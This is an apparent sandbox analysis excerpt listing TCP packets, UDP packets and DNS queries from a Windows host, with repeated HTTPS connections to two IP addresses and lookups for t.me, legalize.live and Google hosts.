Jan 15, 2025 20:24:51.502521038 CET	50611	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:51.547689915 CET	50611	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:51.547719955 CET	443	50611	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:51.547771931 CET	50611	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:51.547781944 CET	443	50611	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:51.547830105 CET	443	50611	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:51.563749075 CET	50612	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:51.563851118 CET	443	50612	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:51.563935041 CET	50612	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:51.607817888 CET	50612	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:51.607906103 CET	443	50612	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:51.607948065 CET	443	50612	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:51.607980967 CET	50612	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:51.608022928 CET	443	50612	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:51.611613035 CET	50613	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:51.611674070 CET	443	50613	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:51.611732006 CET	50613	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:51.666599035 CET	50613	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:51.666654110 CET	443	50613	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:51.666696072 CET	443	50613	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:51.666707039 CET	50613	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:51.666733027 CET	443	50613	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:51.669996977 CET	50614	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:51.670105934 CET	443	50614	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:51.670185089 CET	50614	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:51.739794016 CET	50614	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:51.739850044 CET	443	50614	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:51.739893913 CET	50614	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:51.739901066 CET	443	50614	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:51.739963055 CET	443	50614	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:51.743379116 CET	50615	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:51.743443966 CET	443	50615	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:51.743640900 CET	50615	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:51.807420969 CET	50615	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:51.807461023 CET	443	50615	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:51.807509899 CET	50615	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:51.807518005 CET	443	50615	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:51.807550907 CET	443	50615	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:53.830087900 CET	50616	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:53.830195904 CET	443	50616	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:53.830279112 CET	50616	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:53.877254963 CET	50616	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:53.877304077 CET	443	50616	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:53.877365112 CET	443	50616	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:54.890211105 CET	50617	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:54.890316010 CET	443	50617	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:54.890392065 CET	50617	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:54.942240000 CET	50617	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:54.942281008 CET	443	50617	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:54.942325115 CET	50617	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:54.942332983 CET	443	50617	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:54.942399979 CET	443	50617	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:55.969749928 CET	50618	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:55.969851971 CET	443	50618	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:55.978051901 CET	50618	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:56.017142057 CET	50618	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:56.017184973 CET	443	50618	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:56.017323971 CET	443	50618	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:57.033142090 CET	50619	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:57.033240080 CET	443	50619	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:57.033318043 CET	50619	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:57.088493109 CET	50619	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:57.088562965 CET	443	50619	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:57.088628054 CET	50619	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:24:57.088644028 CET	443	50619	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:57.088745117 CET	443	50619	45.76.251.57	192.168.2.5
Jan 15, 2025 20:24:59.112286091 CET	50620	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:59.112337112 CET	443	50620	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:59.112399101 CET	50620	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:59.177156925 CET	50620	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:59.177185059 CET	443	50620	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:59.177237034 CET	50620	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:24:59.177241087 CET	443	50620	194.32.76.77	192.168.2.5
Jan 15, 2025 20:24:59.177299023 CET	443	50620	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:00.210813046 CET	50621	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:00.210905075 CET	443	50621	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:00.218813896 CET	50621	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:00.266352892 CET	50621	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:00.266376972 CET	443	50621	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:00.266441107 CET	443	50621	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:01.282532930 CET	50622	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:01.282582045 CET	443	50622	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:01.282643080 CET	50622	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:01.346955061 CET	50622	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:01.346975088 CET	443	50622	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:01.346985102 CET	50622	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:01.346992016 CET	443	50622	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:01.347084999 CET	443	50622	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:02.361125946 CET	50623	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:02.361226082 CET	443	50623	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:02.361340046 CET	50623	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:02.414005041 CET	50623	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:02.414005041 CET	50623	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:02.414063931 CET	443	50623	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:02.414077044 CET	443	50623	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:02.414330959 CET	443	50623	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:02.416701078 CET	50623	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:02.416701078 CET	50623	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:02.416737080 CET	443	50623	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:02.416759014 CET	443	50623	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:02.426798105 CET	50624	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:02.426884890 CET	443	50624	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:02.427385092 CET	50624	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:02.463979006 CET	50624	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:02.464061975 CET	443	50624	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:02.464144945 CET	443	50624	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:02.464175940 CET	50624	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:02.464209080 CET	443	50624	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:02.466823101 CET	50625	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:02.466922045 CET	443	50625	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:02.470927000 CET	50625	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:03.549411058 CET	50625	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:03.549454927 CET	443	50625	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:03.549504042 CET	50625	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:03.549515963 CET	443	50625	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:03.549525023 CET	443	50625	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:03.552877903 CET	50626	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:03.552925110 CET	443	50626	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:03.552990913 CET	50626	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:03.620399952 CET	50626	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:03.620423079 CET	443	50626	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:03.620456934 CET	443	50626	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:03.620465994 CET	50626	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:03.620477915 CET	443	50626	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:03.623707056 CET	50627	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:03.623806000 CET	443	50627	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:03.623877048 CET	50627	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:03.695563078 CET	50627	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:03.695605040 CET	443	50627	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:03.695660114 CET	50627	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:03.695676088 CET	443	50627	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:05.720653057 CET	50628	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:05.720746994 CET	443	50628	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:05.720829964 CET	50628	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:05.767946959 CET	50628	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:05.768001080 CET	443	50628	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:05.768053055 CET	50628	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:05.768068075 CET	443	50628	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:05.768120050 CET	443	50628	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:06.790822029 CET	50629	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:06.790858030 CET	443	50629	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:06.796933889 CET	50629	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:06.846307039 CET	50629	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:06.846307039 CET	50629	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:06.846328020 CET	443	50629	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:06.846340895 CET	443	50629	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:06.846508026 CET	443	50629	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:07.862574100 CET	50630	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:07.862673044 CET	443	50630	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:07.862746000 CET	50630	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:07.909080982 CET	50630	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:07.909080982 CET	50630	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:07.909159899 CET	443	50630	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:07.909193993 CET	443	50630	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:07.909224987 CET	443	50630	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:08.923331022 CET	50631	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:08.923367977 CET	443	50631	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:08.923515081 CET	50631	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:08.968796968 CET	50631	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:08.968796968 CET	50631	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:08.968823910 CET	443	50631	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:08.968836069 CET	443	50631	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:08.968941927 CET	443	50631	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:11.017239094 CET	50632	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:11.017280102 CET	443	50632	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:11.017386913 CET	50632	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:11.053002119 CET	50632	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:11.053020954 CET	443	50632	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:11.053080082 CET	50632	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:11.053085089 CET	443	50632	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:11.053292036 CET	443	50632	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:12.066955090 CET	50633	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:12.067049980 CET	443	50633	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:12.074826956 CET	50633	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:12.106939077 CET	50633	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:12.107017040 CET	443	50633	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:12.107078075 CET	443	50633	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:13.131258011 CET	50634	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:13.131292105 CET	443	50634	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:13.131360054 CET	50634	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:13.200505972 CET	50634	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:13.200521946 CET	443	50634	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:13.200562954 CET	50634	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:13.200572968 CET	443	50634	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:14.221251011 CET	50635	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:14.221299887 CET	443	50635	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:14.229779005 CET	50635	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:14.265166998 CET	50635	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:14.265189886 CET	443	50635	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:14.265242100 CET	443	50635	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:14.281240940 CET	50636	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:14.281326056 CET	443	50636	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:14.281831980 CET	50636	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:14.334605932 CET	50636	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:14.334656000 CET	443	50636	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:14.334723949 CET	50636	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:14.334741116 CET	443	50636	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:14.334786892 CET	443	50636	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:14.337101936 CET	50637	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:14.337182045 CET	443	50637	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:14.338104010 CET	50637	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:14.383104086 CET	50637	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:14.383141041 CET	443	50637	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:14.383197069 CET	443	50637	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:14.385760069 CET	50638	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:14.385842085 CET	443	50638	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:14.385971069 CET	50638	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:14.428119898 CET	50638	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:14.428138018 CET	443	50638	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:14.428201914 CET	443	50638	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:14.428245068 CET	50638	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:14.428256989 CET	443	50638	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:14.430588007 CET	50639	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:14.430618048 CET	443	50639	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:14.430835009 CET	50639	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:14.468322039 CET	50639	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:14.468354940 CET	443	50639	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:14.468381882 CET	443	50639	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:16.486855984 CET	50640	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:16.486948967 CET	443	50640	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:16.487308979 CET	50640	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:16.531681061 CET	50640	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:16.531721115 CET	443	50640	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:16.531758070 CET	443	50640	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:16.531781912 CET	50640	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:16.531800032 CET	443	50640	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:17.547111034 CET	50641	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:17.547211885 CET	443	50641	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:17.547286987 CET	50641	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:17.627825975 CET	50641	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:17.627872944 CET	443	50641	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:17.627921104 CET	50641	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:17.627938986 CET	443	50641	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:18.656961918 CET	50642	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:18.657057047 CET	443	50642	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:18.664846897 CET	50642	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:18.713838100 CET	50642	443	192.168.2.5	194.32.76.77
Jan 15, 2025 20:25:18.713875055 CET	443	50642	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:18.714102030 CET	443	50642	194.32.76.77	192.168.2.5
Jan 15, 2025 20:25:19.736293077 CET	50643	443	192.168.2.5	45.76.251.57
Jan 15, 2025 20:25:19.736352921 CET	443	50643	45.76.251.57	192.168.2.5
Jan 15, 2025 20:25:19.736433983 CET	50643	443	192.168.2.5	45.76.251.57

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 20:16:03.116596937 CET	55094	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:03.123514891 CET	53	55094	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:04.168404102 CET	54086	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:04.182075977 CET	53	54086	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:14.180650949 CET	53	57221	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:14.285928965 CET	57789	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:14.286079884 CET	52607	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:14.291616917 CET	53	51179	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:14.292774916 CET	53	52607	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:14.293000937 CET	53	57789	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:15.320908070 CET	53	64034	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:16.215004921 CET	53	56771	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:17.528604984 CET	57563	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:17.528728962 CET	65063	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:17.531692982 CET	53	50603	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:17.535698891 CET	53	57563	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:17.536916018 CET	53	65063	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:18.520214081 CET	50736	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:18.520334959 CET	57438	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:18.527461052 CET	53	57438	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:18.527647018 CET	53	50736	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:20.542956114 CET	53	56210	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:28.871071100 CET	51521	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:28.871431112 CET	59041	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:28.878698111 CET	53	59041	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:31.038727045 CET	64457	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:31.038855076 CET	50971	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:31.957350016 CET	53718	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:31.957514048 CET	57469	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:31.964397907 CET	53	53718	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:31.964474916 CET	53	57469	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:31.966049910 CET	62179	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:31.966219902 CET	54876	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:31.967467070 CET	49558	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:31.967637062 CET	54473	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:31.974708080 CET	53	54473	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:31.978378057 CET	63490	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:31.978517056 CET	50590	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:31.985301018 CET	53	50590	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:33.479690075 CET	63248	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:33.479836941 CET	64411	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:33.486639023 CET	53	63248	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:33.488065958 CET	53	64411	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:33.594702005 CET	55616	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:33.594932079 CET	57602	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:33.595525980 CET	51808	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:33.595705986 CET	49417	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:33.601777077 CET	53	55616	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:33.601792097 CET	53	57602	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:33.602364063 CET	53	51808	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:33.602611065 CET	53	49417	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:33.604907036 CET	50298	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:33.605015039 CET	49298	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:33.611552954 CET	53	49298	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:33.612024069 CET	53	50298	1.1.1.1	192.168.2.5
Jan 15, 2025 20:16:34.480163097 CET	59195	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.782011986 CET	59195	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.992707014 CET	52803	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:35.307787895 CET	52803	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:35.386660099 CET	59195	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.909230947 CET	52803	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:36.594197035 CET	59195	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.110340118 CET	52803	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:37.928354979 CET	61934	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:37.928931952 CET	54476	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:38.486022949 CET	59195	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.002460957 CET	52803	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:52.104439020 CET	55764	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:16:52.265305042 CET	53	55764	1.1.1.1	192.168.2.5
Jan 15, 2025 20:18:30.835005045 CET	64149	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:18:30.835133076 CET	53814	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:18:30.841854095 CET	53	53814	1.1.1.1	192.168.2.5
Jan 15, 2025 20:18:30.842052937 CET	53	64149	1.1.1.1	192.168.2.5
Jan 15, 2025 20:19:44.162754059 CET	138	138	192.168.2.5	192.168.2.255
Jan 15, 2025 20:20:34.783138990 CET	53692	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:20:34.783426046 CET	62183	53	192.168.2.5	1.1.1.1
Jan 15, 2025 20:20:34.789937973 CET	53	53692	1.1.1.1	192.168.2.5
Jan 15, 2025 20:20:34.790102005 CET	53	62183	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 20:16:03.116596937 CET	192.168.2.5	1.1.1.1	0xf9e4	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:04.168404102 CET	192.168.2.5	1.1.1.1	0xc418	Standard query (0)	legalize.live	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:14.285928965 CET	192.168.2.5	1.1.1.1	0xc924	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:14.286079884 CET	192.168.2.5	1.1.1.1	0xd2ca	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 15, 2025 20:16:17.528604984 CET	192.168.2.5	1.1.1.1	0x91fa	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:17.528728962 CET	192.168.2.5	1.1.1.1	0x6001	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Jan 15, 2025 20:16:18.520214081 CET	192.168.2.5	1.1.1.1	0xa77a	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:18.520334959 CET	192.168.2.5	1.1.1.1	0xf418	Standard query (0)	play.google.com	65	IN (0x0001)	false
Jan 15, 2025 20:16:28.871071100 CET	192.168.2.5	1.1.1.1	0xe3c7	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:28.871431112 CET	192.168.2.5	1.1.1.1	0x2d02	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
